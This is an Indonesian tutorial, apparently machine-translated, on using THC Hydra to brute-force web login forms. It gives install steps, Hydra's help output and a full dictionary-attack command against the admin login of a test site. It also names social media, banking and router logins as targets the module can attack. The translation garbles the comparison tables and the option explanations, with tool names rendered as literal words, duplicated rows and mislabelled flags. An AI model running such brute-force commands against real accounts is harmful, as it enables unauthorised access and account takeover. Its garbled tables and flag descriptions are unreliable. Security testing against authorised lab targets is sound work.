Crack Halaman Login Berbasis Web Dengan Hydra di Kali Linux

Crack Web Based Login Page With Hydra Kali Linux



Kata sandi secara teknis didefinisikan sebagai string karakter rahasia yang digunakan untuk mengotentikasi atau mendapatkan akses ke sumber daya. Itu harus dirahasiakan dan disembunyikan dari orang lain yang tidak diizinkan mengakses sumber daya tersebut. Kata sandi telah digunakan dengan komputer sejak awal komputasi. Salah satu sistem berbagi pertama kali, diperkenalkan pada tahun 1961. Ini memiliki perintah login yang meminta kata sandi pengguna. Setelah mengetik PASSWORD, sistem mematikan mekanisme pencetakan, jika memungkinkan, sehingga pengguna dapat mengetikkan kata sandinya dengan privasi.

Kekuatan kata sandi adalah fungsi dari panjang, kompleksitas, dan ketidakpastian. Ini mengukur efektivitas dalam menolak menebak atau melanggarnya. Kata sandi yang lemah, di sisi lain mempersingkat waktu yang diperlukan untuk menebak dan mendapatkan akses ke email pribadi/perusahaan, data sensitif seperti info keuangan, info bisnis, kartu kredit, dll.







Ada banyak cara kata sandi bisa lemah sesuai dengan kekuatan kekuatan berbagai skema serangan. Yang paling populer dari serangan kredensial semacam ini adalah, brute force. Ini adalah metode coba-coba seperti menebak, mencoba memecahkan kode data terenkripsi seperti kata sandi atau enkripsi data yang digunakan oleh program aplikasi atau alat peretasan.



Hydra adalah cracker logon jaringan tercepat yang mendukung berbagai protokol serangan. Ini sangat cepat dan fleksibel, dan modul baru mudah ditambahkan. Alat ini memungkinkan peneliti dan konsultan keamanan untuk menunjukkan betapa mudahnya mendapatkan akses tidak sah ke sistem dari jarak jauh. Hydra ditulis oleh van Hauser dan juga didukung oleh David Maciejak. Dalam pembaruan terbaru, pengembangan hydra dipindahkan ke repositori github publik di: https://github.com/vanhauser-thc/thc-hydra.



Hydra diuji untuk dikompilasi di Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry, dan tersedia di bawah GPLv3 dengan perluasan lisensi OpenSSL khusus.





THC Hydra mendukung protokol ini: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 dan v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC dan XMPP.

BANDINGKAN HYDRA DENGAN ALAT CRACKING LAINNYA

Ada juga banyak alat cracker login selain hydra, namun tidak ada yang mendukung daftar besar protokol dan dukungan cracker login paralel seperti hydra. Tabel di bawah ini menunjukkan hasil perbandingan fitur, layanan, dan kecepatan terhadap medusa dan nrack.



Fitur

Fitur Ular naga ubur-ubur retak
Lisensi AGPLv3 GPLv2 Istilah GPLv2 + Nmap
Dukungan IPv6 Ya Tidak Tidak
Antarmuka Pengguna Grafis Ya Ya Tidak
Dukungan internasional (RFC 4013) Ya Tidak Tidak
Dukungan proksi HTTP Ya Ya Tidak
Dukungan proxy SOCKS Ya Tidak Tidak
Protokol yang didukung 51 22 7

Jasa

Crack Halaman Login Berbasis Web Dengan

Melayani rincian Ular naga ubur-ubur retak
ADAM-6500 Ya Tidak Tidak
AFP Ya Ya Tidak
Asterisk Ya Tidak Tidak
Kata Sandi Cisco Ya Tidak Tidak
Cisco Aktifkan Ya Tidak Tidak
CVS Ya Ya Tidak
burung api Ya Tidak Tidak
FTP Ya Ya Ya
dukungan SSL AUTH TLS & FTP melalui SSL AUTH TLS & FTP melalui SSL Tidak
HTTP Metode DAPATKAN, KEPALA, POSTING DAPATKAN DAPATKAN
Otentikasi Dasar Ya Ya Ya
Formulir HTTP Metode DAPATKAN, POSTING DAPATKAN, POSTING Tidak
dukungan SSL HTTPS HTTPS Tidak
Proksi HTTP Otentikasi Dasar Ya Tidak Tidak
DIGEST-MD5 Auth Ya Tidak Tidak
Otentikasi NTLM Ya Tidak Tidak
dukungan SSL HTTPS Tidak Tidak
Enumerasi URL PROXY HTTP Ya Tidak Tidak
ICQ v5 Ya
1
Tidak Tidak
IMAP dukungan LOGIN Ya Ya Tidak
Dukungan LOGIN AUTH Ya Tidak Tidak
Dukungan AUTH POLOS Ya Ya Tidak
Dukungan AUTH CRAM-MD5 Ya Tidak Tidak
Dukungan AUTH CRAM-SHA1 Ya Tidak Tidak
Dukungan AUTH CRAM-SHA256 Ya Tidak Tidak
Dukungan AUTH DIGEST-MD5 Ya Tidak Tidak
Dukungan AUTH NTLM Ya Ya Tidak
Dukungan AUTH SCRAM-SHA1 Ya Tidak Tidak
dukungan SSL IMAPS & STARTTLS IMAPS & STARTTLS Tidak
IRC Kata sandi server umum Ya Tidak Tidak
kata sandi mode OPER Ya Tidak Tidak
LDAP v2, Dukungan sederhana Ya Tidak Tidak
v3, Dukungan sederhana Ya Tidak Tidak
v3, dukungan AUTH CRAM-MD5 Ya Tidak Tidak
Dukungan AUTH DIGEST-MD5 Ya
Dukungan AUTH NTLM Ya Ya
Dukungan AUTH SCRAM-SHA1 Ya
dukungan SSL IMAPS & STARTTLS IMAPS & STARTTLS
IRC Kata sandi server umum Ya
kata sandi mode OPER Ya
LDAP v2, Dukungan sederhana Ya
v3, Dukungan sederhana Ya
v3, dukungan AUTH CRAM-MD5 Ya
v3, dukungan AUTH DIGEST-MD5 Ya
MS-SQL Ya Ya
MySQL v3.x Ya Ya
v4.x Ya Ya
v5.x Ya Ya
NCP Ya Ya
NNTP dukungan PENGGUNA Ya Ya
Dukungan LOGIN AUTH Ya
Dukungan AUTH POLOS Ya
Dukungan AUTH CRAM-MD5 Ya
Dukungan AUTH DIGEST-MD5 Ya
Dukungan AUTH NTLM Ya
dukungan SSL STARTTLS & NNTP melalui SSL
Peramal Basis data Ya Ya
Pendengar TNS Ya
Pencacahan SID Ya
PC-NFS Ya
pcDi mana saja Otentikasi Asli Ya Ya
Otentikasi Berbasis OS (MS) Ya
POP3 dukungan PENGGUNA Ya Ya Ya
dukungan APOP Ya
Dukungan LOGIN AUTH Ya Ya
Dukungan AUTH POLOS Ya Ya
Dukungan AUTH CRAM-MD5 Ya
Dukungan AUTH CRAM-SHA1 Ya
Dukungan AUTH CRAM-SHA256 Ya
Dukungan AUTH DIGEST-MD5 Ya
Dukungan AUTH NTLM Ya Ya
Dukungan SSL POP3S & MULAI POP3S & MULAI POP3S
PostgreSQL Ya Ya
Asterisk Ya
RDP Stasiun Kerja Windows Ya Ya Ya
Server Windows Ya Ya
Otentikasi Domain Ya Ya
REDIS Ya Tidak
REXEC Ya Ya
LOGIN Ya Ya
RPCAP Ya Tidak
RSH Ya Ya
RTSP Ya Tidak
SAP R / 3 Ya
Siemens S7-300 Ya
MENYESAP Ya
dukungan SSL SIP melalui SSL
UKM Mode NetBIOS Ya Ya Tidak
Mode Asli W2K Ya Ya Ya
Modus hash Ya Ya Tidak
Hapus Otentikasi Teks Ya Ya
Otentikasi LMv1 Ya Ya Ya
LMv2 Otorisasi Ya Ya Ya
Otentikasi NTLMv1 Ya Ya Ya
Otentikasi NTLMv2 Ya Ya Ya
SMTP Dukungan LOGIN AUTH Ya Ya
Dukungan AUTH POLOS Ya Ya
Dukungan AUTH CRAM-MD5 Ya
Dukungan AUTH DIGEST-MD5 Ya
Dukungan AUTH NTLM Ya Ya
dukungan SSL SMTPS & STARTTLS SMTPS & STARTTLS
Enum Pengguna SMTP VRFY cmd Ya Ya
cmd EXPN Ya Ya
RCPT KE cmd Ya Ya
SNMP v1 Ya Ya
v2c Ya Ya
v3 (Hanya autentikasi MD5/SHA1)
KAUS KAKI v5, Otentikasi Kata Sandi Ya
SSH v1 Ya
v2 Ya Ya Ya
Kunci SSH v1, v2 Ya
Subversi (SVN) Ya Ya
TeamSpeak TS2 Ya
Telnet Ya Ya Ya
XMPP Dukungan LOGIN AUTH Ya
Dukungan AUTH POLOS Ya
Dukungan AUTH CRAM-MD5 Ya
Dukungan AUTH DIGEST-MD5 Ya
Dukungan AUTH SCRAM-SHA1 Ya
VMware Auth Daemon v1.00 / v1.10 Ya Ya
dukungan SSL Ya Ya
VNC Dukungan kata sandi RFB 3.x Ya Ya
Dukungan pengguna + kata sandi RFB 3.x (Hanya UltraVNC)
Dukungan kata sandi RFB 4.x Ya Ya
Dukungan pengguna + kata sandi RFB 4.x (Hanya UltraVNC)

Perbandingan Kecepatan

Kecepatan (dalam s) Ular naga ubur-ubur retak
1 Tugas / modul FTP 11.93 12.97 18.01
4 Tugas / modul FTP 4.20 5.24 9.01
16 Tugas / modul FTP 2.44 2.71 12.01
1 Modul Tugas / SSH v2 32.56 33.84 45.02
4 Tugas / modul SSH v2 10.95 Rusak Dirindukan
16 Tugas / modul SSH v2 5.14 Rusak Dirindukan

Itu adalah pengenalan sederhana singkat tentang hydra. Sekarang mari kita beralih ke instalasi.

MENGINSTAL HYDRA

Hydra sudah diinstal sebelumnya di kali linux, namun jika Anda memiliki sistem operasi yang berbeda, Anda dapat mengkompilasi dan menginstalnya di sistem Anda. Saat ini, dukungan hydra di berbagai platform:

  • Semua platform UNIX (Linux, *bsd, Solaris, dll.)
  • MacOS (pada dasarnya adalah tiruan BSD)
  • Windows dengan Cygwin (baik IPv4 dan IPv6)
  • Sistem seluler berbasis Linux, MacOS atau QNX (mis. Android, iPhone, Blackberry 10, Zaurus, iPaq)

Untuk mengunduh, mengonfigurasi, mengkompilasi, dan menginstal hydra, cukup ketik ke terminal:

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

Jika Anda memiliki Ubuntu/Debian, Anda memerlukan beberapa pustaka ketergantungan:

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

Jika Anda tidak dapat menemukan perpustakaan tersebut di repositori Anda, maka Anda perlu mengunduh dan menginstalnya secara manual.

CARA MENGGUNAKAN HYDRA

Selamat, sekarang Anda telah berhasil menginstal hydra di sistem Anda. Sebenarnya, Hydra hadir dengan dua rasa, GUI-gtk dan versi CLI favorit saya. dan selain itu hydra juga memiliki versi panduan CLI, yang disebut hydra-wizard. Anda akan dipandu langkah demi langkah alih-alih mengetik semua perintah atau argumen secara manual ke terminal. Untuk menjalankan hydra, dari terminal Anda ketik:

Untuk KLI:

hydra

Untuk CLI-wizard:

hydra-wizard

Untuk GUI:

xhydra

Setelah Anda mengetik 'hydra' maka akan muncul perintah bantuan seperti ini:

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

Login berbasis web Bruteforce dengan hydra

Hydra mendukung beberapa layanan bruteforcing seperti yang saya sebutkan sebelumnya, salah satunya digunakan untuk bruteforce login berbasis web seperti, formulir login media sosial, formulir login perbankan pengguna, login berbasis web router Anda, dll. Itu http[s]-get-form yang akan menangani permintaan ini. Dalam tutorial ini saya akan menunjukkan cara bruteforce login web yang rentan. Sebelum kita menjalankan hydra kita harus mengetahui beberapa argumen yang diperlukan seperti di bawah ini:

  • Target : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
  • Login nama pengguna : admin (jika Anda tidak yakin, paksa ini)
  • Daftar kata sandi : Lokasi daftar file kamus yang berisi kemungkinan kata sandi.
  • Parameter bentuk : secara umum, gunakan tamper data atau proxy untuk mendapatkan bentuk parameter permintaan. Tapi di sini saya menggunakan iceweasel, berbasis firefox, toolbar pengembang jaringan.
  • Modul layanan : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

Mendapatkan parameter posting menggunakan browser, iceweasel/firefox

Di browser firefox Anda tekan tombol ' CTRL + SHIFT + Q '. Kemudian buka halaman login webhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, Anda akan melihat beberapa teks muncul di tab pengembang jaringan. Ini memberi tahu Anda file apa yang ditransfer kepada kami. Lihat metode all is GET, karena kami belum POST data apa pun.

Untuk mendapatkan parameter post-form, ketik apa pun di formulir nama pengguna dan atau kata sandi. Anda akan melihat metode POST baru pada tab pengembang jaringan. Klik dua kali pada baris itu, pada tab Header klik tombol Edit dan Kirim Ulang di sisi kanan. Pada Badan Permintaan salin baris terakhir, seperti tfUName = asu & tfUPass = raimu . NS tfUName dan tfUPass adalah parameter yang kita butuhkan. Seperti yang terlihat di bawah ini:

Kali linux memiliki banyak daftar kata, pilih daftar kata yang sesuai atau cukup gunakan tempat rockyou.txt di /usr/share/daftar kata/ seperti yang terlihat di bawah ini:

Baiklah, sekarang kita punya semua argumen yang kita butuhkan dan siap untuk menjalankan hydra. Berikut pola perintahnya:

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

Mari kita uraikan perintah:

  • NS : adalah kata yang berisi akun nama pengguna, gunakan -L untuk merujuk daftar kemungkinan nama pengguna dalam sebuah file.
  • P : adalah daftar file kemungkinan kata sandi, gunakan -p untuk benar-benar menggunakan satu kata sandi alih-alih menebaknya.
  • testapp.vunlwebapp.com : adalah nama host atau target
  • http-post-form : adalah modul layanan yang kami gunakan
  • /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = 3 parameter yang dibutuhkan, sintaksnya adalah :
    {page URL}:{Request post body form parameter}:S={Temukan apa pun di halaman setelah berhasil masuk}
  • v = Modus verbose
  • V = tampilkan login: lulus untuk setiap upaya
  • F = Hentikan program jika login berpasangan: kata sandi ditemukan

Sekarang mari biarkan hydra mencoba memecahkan kata sandi untuk kita, itu perlu waktu karena ini adalah serangan kamus. Setelah Anda berhasil menemukan sepasang login:password hydra akan segera menghentikan pekerjaan dan menunjukkan kredensial yang valid.

Banyak sekali yang bisa dilakukan oleh hydra, karena dalam tutorial ini kita baru belajar cara bruteforce logon berbasis web menggunakan hydra, kita hanya mempelajari satu protokol, yaitu protokol http-post-form. Kami juga dapat menggunakan hydra terhadap protokol lain seperti ssh, ftp, telnet, VNC, proxy, dll.